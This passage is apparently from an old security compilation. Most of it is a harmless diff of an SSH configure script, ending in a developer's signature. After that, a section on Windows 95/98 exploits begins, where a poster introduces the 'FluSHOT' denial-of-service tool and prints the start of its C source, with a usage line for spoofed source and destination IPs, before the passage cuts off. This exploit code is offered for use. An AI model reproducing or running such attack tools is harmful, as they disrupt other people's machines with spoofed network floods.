 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5496,7 +5551,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lipc  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5500 "configure"
+#line 5555 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5507,7 +5562,7 @@
 shmat()
 ; return 0; }
 EOF
-if { (eval echo configure:5511: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5566: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5540,7 +5595,7 @@
   # libraries we check for below, so use a different variable.
   #  --interran@uluru.Stanford.EDU, kb@cs.umb.edu.
   echo $ac_n "checking for IceConnectionNumber in -lICE""... $ac_c" 1>&6
-echo "configure:5544: checking for IceConnectionNumber in -lICE" >&5
+echo "configure:5599: checking for IceConnectionNumber in -lICE" >&5
 ac_lib_var=`echo ICE'_'IceConnectionNumber | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5548,7 +5603,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lICE  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5552 "configure"
+#line 5607 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5559,7 +5614,7 @@
 IceConnectionNumber()
 ; return 0; }
 EOF
-if { (eval echo configure:5563: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5618: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5587,7 +5642,7 @@
 # Extract the first word of "passwd", so it can be a program name with args.
 set dummy passwd; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:5591: checking for $ac_word" >&5
+echo "configure:5646: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_path_PASSWD_PATH'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -5625,7 +5680,7 @@
 # Extract the first word of "xauth", so it can be a program name with args.
 set dummy xauth; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:5629: checking for $ac_word" >&5
+echo "configure:5684: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_path_XAUTH_PATH'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -5669,7 +5724,7 @@
   X_PROGRAMS="ssh-askpass"
 fi
 echo $ac_n "checking for X11 unix domain socket directory""... $ac_c" 1>&6
-echo "configure:5673: checking for X11 unix domain socket directory" >&5
+echo "configure:5728: checking for X11 unix domain socket directory" >&5

 if test '!' -d /tmp/.X11-unix; then
   if test -d /var/X/.X11-unix; then
@@ -5698,7 +5753,7 @@
 # Extract the first word of "$ac_prog", so it can be a program name with args.
 set dummy $ac_prog; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:5702: checking for $ac_word" >&5
+echo "configure:5757: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_path_PERL'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -5739,12 +5794,12 @@
 for ac_func in getpseudotty
 do
 echo $ac_n "checking for $ac_func""... $ac_c" 1>&6
-echo "configure:5743: checking for $ac_func" >&5
+echo "configure:5798: checking for $ac_func" >&5
 if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
   cat > conftest.$ac_ext <<EOF
-#line 5748 "configure"
+#line 5803 "configure"
 #include "confdefs.h"
 /* System header to define __stub macros and hopefully few prototypes,
     which can conflict with char $ac_func(); below.  */
@@ -5767,7 +5822,7 @@

 ; return 0; }
 EOF
-if { (eval echo configure:5771: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5826: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_func_$ac_func=yes"
 else
@@ -5792,7 +5847,7 @@
 done

 echo $ac_n "checking for pseudo ttys""... $ac_c" 1>&6
-echo "configure:5796: checking for pseudo ttys" >&5
+echo "configure:5851: checking for pseudo ttys" >&5
 if test -c /dev/getpty && test $ac_cv_func_getpseudotty = yes
 then
   cat >> confdefs.h <<\EOF
@@ -5832,7 +5887,7 @@
 fi

 echo $ac_n "checking for /etc/default/login""... $ac_c" 1>&6
-echo "configure:5836: checking for /etc/default/login" >&5
+echo "configure:5891: checking for /etc/default/login" >&5
 if test -f /etc/default/login; then
   cat >> confdefs.h <<\EOF
 #define HAVE_ETC_DEFAULT_LOGIN 1
@@ -5845,7 +5900,7 @@

 if test -z "$no_shadows_password_checking"; then
   echo $ac_n "checking for shadow passwords""... $ac_c" 1>&6
-echo "configure:5849: checking for shadow passwords" >&5
+echo "configure:5904: checking for shadow passwords" >&5
   if test -f /etc/shadow; then
       # If we don't have shadow.h, this might be some nonstandard
       # kludging... So better check it out.
@@ -5859,7 +5914,7 @@
       # have getspent in a system library.  However, a libshadow.a library
       # contaning these is publicly available.
       echo $ac_n "checking for getspent in -lshadow""... $ac_c" 1>&6
-echo "configure:5863: checking for getspent in -lshadow" >&5
+echo "configure:5918: checking for getspent in -lshadow" >&5
 ac_lib_var=`echo shadow'_'getspent | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5867,7 +5922,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lshadow  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5871 "configure"
+#line 5926 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5878,7 +5933,7 @@
 getspent()
 ; return 0; }
 EOF
-if { (eval echo configure:5882: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5937: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5906,9 +5961,9 @@
 fi

       echo $ac_n "checking whether spwd have sp_expire field""... $ac_c" 1>&6
-echo "configure:5910: checking whether spwd have sp_expire field" >&5
+echo "configure:5965: checking whether spwd have sp_expire field" >&5
       cat > conftest.$ac_ext <<EOF
-#line 5912 "configure"
+#line 5967 "configure"
 #include "confdefs.h"
 #include <shadow.h>
 EOF
@@ -5927,9 +5982,9 @@
 rm -f conftest*

       echo $ac_n "checking whether spwd have sp_inact field""... $ac_c" 1>&6
-echo "configure:5931: checking whether spwd have sp_inact field" >&5
+echo "configure:5986: checking whether spwd have sp_inact field" >&5
       cat > conftest.$ac_ext <<EOF
-#line 5933 "configure"
+#line 5988 "configure"
 #include "confdefs.h"
 #include <shadow.h>
 EOF
@@ -5968,7 +6023,7 @@
 fi

 echo $ac_n "checking location of mail spool files""... $ac_c" 1>&6
-echo "configure:5972: checking location of mail spool files" >&5
+echo "configure:6027: checking location of mail spool files" >&5
 for dir in /var/spool/mail /var/mail /usr/spool/mail /usr/mail FILE
 do
   if test "$dir" = "FILE"; then
@@ -6007,7 +6062,7 @@
 done

 echo $ac_n "checking location of utmp""... $ac_c" 1>&6
-echo "configure:6011: checking location of utmp" >&5
+echo "configure:6066: checking location of utmp" >&5
 if test -f /var/run/utmp; then
   cat >> confdefs.h <<\EOF
 #define SSH_UTMP "/var/run/utmp"
@@ -6043,7 +6098,7 @@
 fi

 echo $ac_n "checking location of wtmp""... $ac_c" 1>&6
-echo "configure:6047: checking location of wtmp" >&5
+echo "configure:6102: checking location of wtmp" >&5
 if test -f /var/log/wtmp; then
   cat >> confdefs.h <<\EOF
 #define SSH_WTMP "/var/log/wtmp"
@@ -6077,7 +6132,7 @@
 fi

 echo $ac_n "checking location of lastlog""... $ac_c" 1>&6
-echo "configure:6081: checking location of lastlog" >&5
+echo "configure:6136: checking location of lastlog" >&5
 if test -f /var/log/lastlog || test -d /var/log/lastlog; then
   cat >> confdefs.h <<\EOF
 #define SSH_LASTLOG "/var/log/lastlog"
@@ -6132,7 +6187,7 @@
 fi

 echo $ac_n "checking whether $LASTLOG is a directory""... $ac_c" 1>&6
-echo "configure:6136: checking whether $LASTLOG is a directory" >&5
+echo "configure:6191: checking whether $LASTLOG is a directory" >&5
 if test -d $LASTLOG
 then
   echo "$ac_t""yes" 1>&6
@@ -6145,7 +6200,7 @@
 fi

 echo $ac_n "checking whether to include the IDEA encryption algorithm""...
$ac_c" 1>&6
-echo "configure:6149: checking whether to include the IDEA encryption
algorithm" >&5
+echo "configure:6204: checking whether to include the IDEA encryption
algorithm" >&5
 # Check whether --with-idea or --without-idea was given.
 if test "${with_idea+set}" = set; then
   withval="$with_idea"
@@ -6179,7 +6234,7 @@


 echo $ac_n "checking whether to include the Blowfish encryption algorithm""...
$ac_c" 1>&6
-echo "configure:6183: checking whether to include the Blowfish encryption
algorithm" >&5
+echo "configure:6238: checking whether to include the Blowfish encryption
algorithm" >&5
 # Check whether --with-blowfish or --without-blowfish was given.
 if test "${with_blowfish+set}" = set; then
   withval="$with_blowfish"
@@ -6206,7 +6261,7 @@


 echo $ac_n "checking whether to include the DES encryption algorithm""...
$ac_c" 1>&6
-echo "configure:6210: checking whether to include the DES encryption algorithm"
>&5
+echo "configure:6265: checking whether to include the DES encryption algorithm"
>&5
 # Check whether --with-des or --without-des was given.
 if test "${with_des+set}" = set; then
   withval="$with_des"
@@ -6229,7 +6284,7 @@


 echo $ac_n "checking whether to include the ARCFOUR encryption algorithm""...
$ac_c" 1>&6
-echo "configure:6233: checking whether to include the ARCFOUR encryption
algorithm" >&5
+echo "configure:6288: checking whether to include the ARCFOUR encryption
algorithm" >&5
 # Check whether --with-arcfour or --without-arcfour was given.
 if test "${with_arcfour+set}" = set; then
   withval="$with_arcfour"
@@ -6252,7 +6307,7 @@


 echo $ac_n "checking whether to include the none encryption algorithm""...
$ac_c" 1>&6
-echo "configure:6256: checking whether to include the none encryption
algorithm" >&5
+echo "configure:6311: checking whether to include the none encryption
algorithm" >&5
 # Check whether --with-none or --without-none was given.
 if test "${with_none+set}" = set; then
   withval="$with_none"
@@ -6275,7 +6330,7 @@


 echo $ac_n "checking whether to use login""... $ac_c" 1>&6
-echo "configure:6279: checking whether to use login" >&5
+echo "configure:6334: checking whether to use login" >&5
 # Check whether --with-login or --without-login was given.
 if test "${with_login+set}" = set; then
   withval="$with_login"
@@ -6290,7 +6345,7 @@
 # Extract the first word of "$ac_prog", so it can be a program name with args.
 set dummy $ac_prog; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:6294: checking for $ac_word" >&5
+echo "configure:6349: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_path_PATH_LOGIN'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -6349,7 +6404,7 @@


 echo $ac_n "checking whether to use rsh""... $ac_c" 1>&6
-echo "configure:6353: checking whether to use rsh" >&5
+echo "configure:6408: checking whether to use rsh" >&5
 # Check whether --with-rsh or --without-rsh was given.
 if test "${with_rsh+set}" = set; then
   withval="$with_rsh"
@@ -6364,7 +6419,7 @@
 # Extract the first word of "$ac_prog", so it can be a program name with args.
 set dummy $ac_prog; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:6368: checking for $ac_word" >&5
+echo "configure:6423: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_path_RSH_PATH'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -6416,7 +6471,7 @@
 # Extract the first word of "$ac_prog", so it can be a program name with args.
 set dummy $ac_prog; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:6420: checking for $ac_word" >&5
+echo "configure:6475: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_path_RSH_PATH'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -6465,7 +6520,7 @@

 # Code to permit setting default path for users (alden@math.ohio-state.edu)
 echo $ac_n "checking default path""... $ac_c" 1>&6
-echo "configure:6469: checking default path" >&5
+echo "configure:6524: checking default path" >&5
 # Check whether --with-path or --without-path was given.
 if test "${with_path+set}" = set; then
   withval="$with_path"
@@ -6488,7 +6543,7 @@


 echo $ac_n "checking etcdir""... $ac_c" 1>&6
-echo "configure:6492: checking etcdir" >&5
+echo "configure:6547: checking etcdir" >&5
 # Check whether --with-etcdir or --without-etcdir was given.
 if test "${with_etcdir+set}" = set; then
   withval="$with_etcdir"
@@ -6513,7 +6568,7 @@


 echo $ac_n "checking whether to use nologin.allow file to override nologin""...
$ac_c" 1>&6
-echo "configure:6517: checking whether to use nologin.allow file to override
nologin" >&5
+echo "configure:6572: checking whether to use nologin.allow file to override
nologin" >&5
 # Check whether --with-nologin-allow or --without-nologin-allow was given.
 if test "${with_nologin_allow+set}" = set; then
   withval="$with_nologin_allow"
@@ -6543,7 +6598,7 @@


 echo $ac_n "checking whether to support SecurID""... $ac_c" 1>&6
-echo "configure:6547: checking whether to support SecurID" >&5
+echo "configure:6602: checking whether to support SecurID" >&5
 # Check whether --with-securid or --without-securid was given.
 if test "${with_securid+set}" = set; then
   withval="$with_securid"
@@ -6586,7 +6641,7 @@


 echo $ac_n "checking whether to support TIS authentication server""... $ac_c"
1>&6
-echo "configure:6590: checking whether to support TIS authentication server"
>&5
+echo "configure:6645: checking whether to support TIS authentication server"
>&5
 # Check whether --with-tis or --without-tis was given.
 if test "${with_tis+set}" = set; then
   withval="$with_tis"
@@ -6617,7 +6672,7 @@


 echo $ac_n "checking whether to use Kerberos""... $ac_c" 1>&6
-echo "configure:6621: checking whether to use Kerberos" >&5
+echo "configure:6676: checking whether to use Kerberos" >&5
 # Check whether --with-kerberos5 or --without-kerberos5 was given.
 if test "${with_kerberos5+set}" = set; then
   withval="$with_kerberos5"
@@ -6649,7 +6704,7 @@
   KERBEROS_INCS="-I${KERBEROS_ROOT}/include"
   KERBEROS_LIBS="-L${KERBEROS_ROOT}/lib -lgssapi_krb5 -lkrb5 -lcrypto
-lcom_err"
   echo $ac_n "checking for dbm_open in -lndbm""... $ac_c" 1>&6
-echo "configure:6653: checking for dbm_open in -lndbm" >&5
+echo "configure:6708: checking for dbm_open in -lndbm" >&5
 ac_lib_var=`echo ndbm'_'dbm_open | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -6657,7 +6712,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lndbm  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 6661 "configure"
+#line 6716 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -6668,7 +6723,7 @@
 dbm_open()
 ; return 0; }
 EOF
-if { (eval echo configure:6672: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:6727: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -6697,7 +6752,7 @@


 echo $ac_n "checking whether to enable passing the Kerberos TGT""... $ac_c"
1>&6
-echo "configure:6701: checking whether to enable passing the Kerberos TGT" >&5
+echo "configure:6756: checking whether to enable passing the Kerberos TGT" >&5
 # Check whether --enable-kerberos-tgt-passing or --disable-kerberos-tgt-passing
was given.
 if test "${enable_kerberos_tgt_passing+set}" = set; then
   enableval="$enable_kerberos_tgt_passing"
@@ -6725,7 +6780,7 @@


 echo $ac_n "checking whether to use libwrap""... $ac_c" 1>&6
-echo "configure:6729: checking whether to use libwrap" >&5
+echo "configure:6784: checking whether to use libwrap" >&5
 # Check whether --with-libwrap or --without-libwrap was given.
 if test "${with_libwrap+set}" = set; then
   withval="$with_libwrap"
@@ -6736,7 +6791,7 @@
   yes)
     echo "$ac_t""yes" 1>&6
     echo $ac_n "checking for request_init in -lwrap""... $ac_c" 1>&6
-echo "configure:6740: checking for request_init in -lwrap" >&5
+echo "configure:6795: checking for request_init in -lwrap" >&5
 ac_lib_var=`echo wrap'_'request_init | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -6744,7 +6799,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lwrap  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 6748 "configure"
+#line 6803 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -6755,7 +6810,7 @@
 request_init()
 ; return 0; }
 EOF
-if { (eval echo configure:6759: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:6814: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -6799,14 +6854,14 @@
     OLDLIBS="$LIBS"
     LIBS="$WRAPLIBS $LIBS"
     cat > conftest.$ac_ext <<EOF
-#line 6803 "configure"
+#line 6858 "configure"
 #include "confdefs.h"
  int allow_severity; int deny_severity;
 int main() {
  hosts_access();
 ; return 0; }
 EOF
-if { (eval echo configure:6810: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:6865: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   :
 else
   echo "configure: failed program was:" >&5
@@ -6827,7 +6882,7 @@


 echo $ac_n "checking whether to support SOCKS""... $ac_c" 1>&6
-echo "configure:6831: checking whether to support SOCKS" >&5
+echo "configure:6886: checking whether to support SOCKS" >&5
 # Check whether --with-socks or --without-socks was given.
 if test "${with_socks+set}" = set; then
   withval="$with_socks"
@@ -6838,7 +6893,7 @@
   yes)
     echo "$ac_t""yes" 1>&6
     echo $ac_n "checking for SOCKSconnect in -lsocks5""... $ac_c" 1>&6
-echo "configure:6842: checking for SOCKSconnect in -lsocks5" >&5
+echo "configure:6897: checking for SOCKSconnect in -lsocks5" >&5
 ac_lib_var=`echo socks5'_'SOCKSconnect | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -6846,7 +6901,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lsocks5  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 6850 "configure"
+#line 6905 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -6857,7 +6912,7 @@
 SOCKSconnect()
 ; return 0; }
 EOF
-if { (eval echo configure:6861: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:6916: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -6879,7 +6934,7 @@
   echo "$ac_t""no" 1>&6

        echo $ac_n "checking for Rconnect in -lsocks""... $ac_c" 1>&6
-echo "configure:6883: checking for Rconnect in -lsocks" >&5
+echo "configure:6938: checking for Rconnect in -lsocks" >&5
 ac_lib_var=`echo socks'_'Rconnect | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -6887,7 +6942,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lsocks  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 6891 "configure"
+#line 6946 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -6898,7 +6953,7 @@
 Rconnect()
 ; return 0; }
 EOF
-if { (eval echo configure:6902: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:6957: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -6934,7 +6989,7 @@

 if test "x$socks" = "x"; then
        echo $ac_n "checking whether to support SOCKS5""... $ac_c" 1>&6
-echo "configure:6938: checking whether to support SOCKS5" >&5
+echo "configure:6993: checking whether to support SOCKS5" >&5
        # Check whether --with-socks5 or --without-socks5 was given.
 if test "${with_socks5+set}" = set; then
   withval="$with_socks5"
@@ -6968,14 +7023,14 @@
            TMPLIBS="$LIBS"
            LIBS="$LIBS $KERBEROS_LIBS"
            cat > conftest.$ac_ext <<EOF
-#line 6972 "configure"
+#line 7027 "configure"
 #include "confdefs.h"

 int main() {
  SOCKSconnect();
 ; return 0; }
 EOF
-if { (eval echo configure:6979: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:7034: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   :
 else
   echo "configure: failed program was:" >&5
@@ -6996,7 +7051,7 @@

 if test "x$socks" = "x"; then
        echo $ac_n "checking whether to support SOCKS4""... $ac_c" 1>&6
-echo "configure:7000: checking whether to support SOCKS4" >&5
+echo "configure:7055: checking whether to support SOCKS4" >&5
        # Check whether --with-socks4 or --without-socks4 was given.
 if test "${with_socks4+set}" = set; then
   withval="$with_socks4"
@@ -7016,14 +7071,14 @@
            fi
            LIBS="$withval $LIBS"
            cat > conftest.$ac_ext <<EOF
-#line 7020 "configure"
+#line 7075 "configure"
 #include "confdefs.h"

 int main() {
  Rconnect();
 ; return 0; }
 EOF
-if { (eval echo configure:7027: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:7082: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   :
 else
   echo "configure: failed program was:" >&5
@@ -7150,7 +7205,7 @@
 fi

 echo $ac_n "checking whether to use rsaref""... $ac_c" 1>&6
-echo "configure:7154: checking whether to use rsaref" >&5
+echo "configure:7209: checking whether to use rsaref" >&5
 # Check whether --with-rsaref or --without-rsaref was given.
 if test "${with_rsaref+set}" = set; then
   withval="$with_rsaref"
@@ -7184,7 +7239,7 @@

 # This allows group writeability in userfile_check_owner_permissions()
 echo $ac_n "checking whether to allow group writeability""... $ac_c" 1>&6
-echo "configure:7188: checking whether to allow group writeability" >&5
+echo "configure:7243: checking whether to allow group writeability" >&5
 # Check whether --enable-group-writeability or --disable-group-writeability was
given.
 if test "${enable_group_writeability+set}" = set; then
   enableval="$enable_group_writeability"
@@ -7200,7 +7255,7 @@


 echo $ac_n "checking whether to disable forwardings in server""... $ac_c" 1>&6
-echo "configure:7204: checking whether to disable forwardings in server" >&5
+echo "configure:7259: checking whether to disable forwardings in server" >&5
 # Check whether --enable-server-port-forwardings or
--disable-server-port-forwardings was given.
 if test "${enable_server_port_forwardings+set}" = set; then
   enableval="$enable_server_port_forwardings"
@@ -7222,7 +7277,7 @@


 echo $ac_n "checking whether to disable forwardings in client""... $ac_c" 1>&6
-echo "configure:7226: checking whether to disable forwardings in client" >&5
+echo "configure:7281: checking whether to disable forwardings in client" >&5
 # Check whether --enable-client-port-forwardings or
--disable-client-port-forwardings was given.
 if test "${enable_client_port_forwardings+set}" = set; then
   enableval="$enable_client_port_forwardings"
@@ -7244,7 +7299,7 @@


 echo $ac_n "checking whether to disable X11 forwarding in server""... $ac_c"
1>&6
-echo "configure:7248: checking whether to disable X11 forwarding in server" >&5
+echo "configure:7303: checking whether to disable X11 forwarding in server" >&5
 # Check whether --enable-server-x11-forwarding or
--disable-server-x11-forwarding was given.
 if test "${enable_server_x11_forwarding+set}" = set; then
   enableval="$enable_server_x11_forwarding"
@@ -7266,7 +7321,7 @@


 echo $ac_n "checking whether to disable X11 forwarding in client""... $ac_c"
1>&6
-echo "configure:7270: checking whether to disable X11 forwarding in client" >&5
+echo "configure:7325: checking whether to disable X11 forwarding in client" >&5
 # Check whether --enable-client-x11-forwarding or
--disable-client-x11-forwarding was given.
 if test "${enable_client_x11_forwarding+set}" = set; then
   enableval="$enable_client_x11_forwarding"
@@ -7288,7 +7343,7 @@


 echo $ac_n "checking whether to install ssh as suid root""... $ac_c" 1>&6
-echo "configure:7292: checking whether to install ssh as suid root" >&5
+echo "configure:7347: checking whether to install ssh as suid root" >&5
 # Check whether --enable-suid-ssh or --disable-suid-ssh was given.
 if test "${enable_suid_ssh+set}" = set; then
   enableval="$enable_suid_ssh"
@@ -7309,7 +7364,7 @@


 echo $ac_n "checking whether to enable TCP_NODELAY""... $ac_c" 1>&6
-echo "configure:7313: checking whether to enable TCP_NODELAY" >&5
+echo "configure:7368: checking whether to enable TCP_NODELAY" >&5
 # Check whether --enable-tcp-nodelay or --disable-tcp-nodelay was given.
 if test "${enable_tcp_nodelay+set}" = set; then
   enableval="$enable_tcp_nodelay"
@@ -7335,7 +7390,7 @@


 echo $ac_n "checking whether to enable SO_LINGER""... $ac_c" 1>&6
-echo "configure:7339: checking whether to enable SO_LINGER" >&5
+echo "configure:7394: checking whether to enable SO_LINGER" >&5
 # Check whether --enable-so-linger or --disable-so-linger was given.
 if test "${enable_so_linger+set}" = set; then
   enableval="$enable_so_linger"
@@ -7357,7 +7412,7 @@


 echo $ac_n "checking whether to include scp statistics at all""... $ac_c" 1>&6
-echo "configure:7361: checking whether to include scp statistics at all" >&5
+echo "configure:7416: checking whether to include scp statistics at all" >&5
 # Check whether --with-scp-stats or --without-scp-stats was given.
 if test "${with_scp_stats+set}" = set; then
   withval="$with_scp_stats"
@@ -7383,7 +7438,7 @@


 echo $ac_n "checking whether to enable scp statistics""... $ac_c" 1>&6
-echo "configure:7387: checking whether to enable scp statistics" >&5
+echo "configure:7442: checking whether to enable scp statistics" >&5
 # Check whether --enable-scp-stats or --disable-scp-stats was given.
 if test "${enable_scp_stats+set}" = set; then
   enableval="$enable_scp_stats"
@@ -7409,7 +7464,7 @@


 echo $ac_n "checking whether to enable scp statistics for all files""... $ac_c"
1>&6
-echo "configure:7413: checking whether to enable scp statistics for all files"
>&5
+echo "configure:7468: checking whether to enable scp statistics for all files"
>&5
 # Check whether --enable-all-scp-stats or --disable-all-scp-stats was given.
 if test "${enable_all_scp_stats+set}" = set; then
   enableval="$enable_all_scp_stats"
@@ -7445,7 +7500,7 @@

 PIDDIR="/var/run"
 echo $ac_n "checking where to put sshd.pid""... $ac_c" 1>&6
-echo "configure:7449: checking where to put sshd.pid" >&5
+echo "configure:7504: checking where to put sshd.pid" >&5
 if test '!' -d $PIDDIR; then
   PIDDIR="$ETCDIR"
 fi


--
[sjl@ssh.fi           --  Sami J. Lehtinen  --           sjl@iki.fi]
[work:+358 9 43543214][gsm:+358 50 5170 258][http://www.iki.fi/~sjl]
[SSH Communications Security Ltd.                http://www.ssh.fi/]

=======================================
1.30-:4.4 BSD issue -- chflags (End) :
________________________________________________________________________________________________________










~~~~~~~~~~~~~~~
Windows 9x/NT :
~~~~~~~~~~~~~~~



_________________________________________________________________________________________________________
2.1-:About IGMP and another exploit for Windows95x/98x (begin):
===============================================================

I got two exploit and test it...

- The first one is Flushot by DarkShow. This exploit can drop the network
connection in windows 95 and 98(First Edition)

- The other one is Pimp by Rob Mosher, this exploit can reboot Windows98se

I have Rethat linux 5.0 installed....

Now... the exploits..

Sorry.. my english is a shit...

Have fun..

----------[FluSHOT.c START CUT HERE]--------------------------------------------------
/* Lags CPU Made By DarkShadow from The flu Hacking Group

   Kills Win95-98 machines

 */



#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

void banner(void) {

        

   printf("Remote Flushot v 1.0\n\n");

   

   

   printf("\n\n");

}

void usage(const char *progname) {

   printf(" usage:\n");

   printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to
Send]\n",progname);

   printf(" [Spoofed IP] :  ex: 205.56.78.0\n");

   printf(" [Destination IP] :  ex: 201.12.3.76\n");

   printf(" [# of FLushot to Send]  : 100\n");

   printf("The Flu Hacking Group (c)\n");

   printf("DarkShadow PlimoMan Hack The Planet\n");

}

int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {

   struct hostent *host;

   memset(addr,0,sizeof(struct sockaddr_in));

   addr->sin_family = AF_INET;

   addr->sin_addr.s_addr = inet_addr(name);

   if (addr->sin_addr.s_addr == -1) {

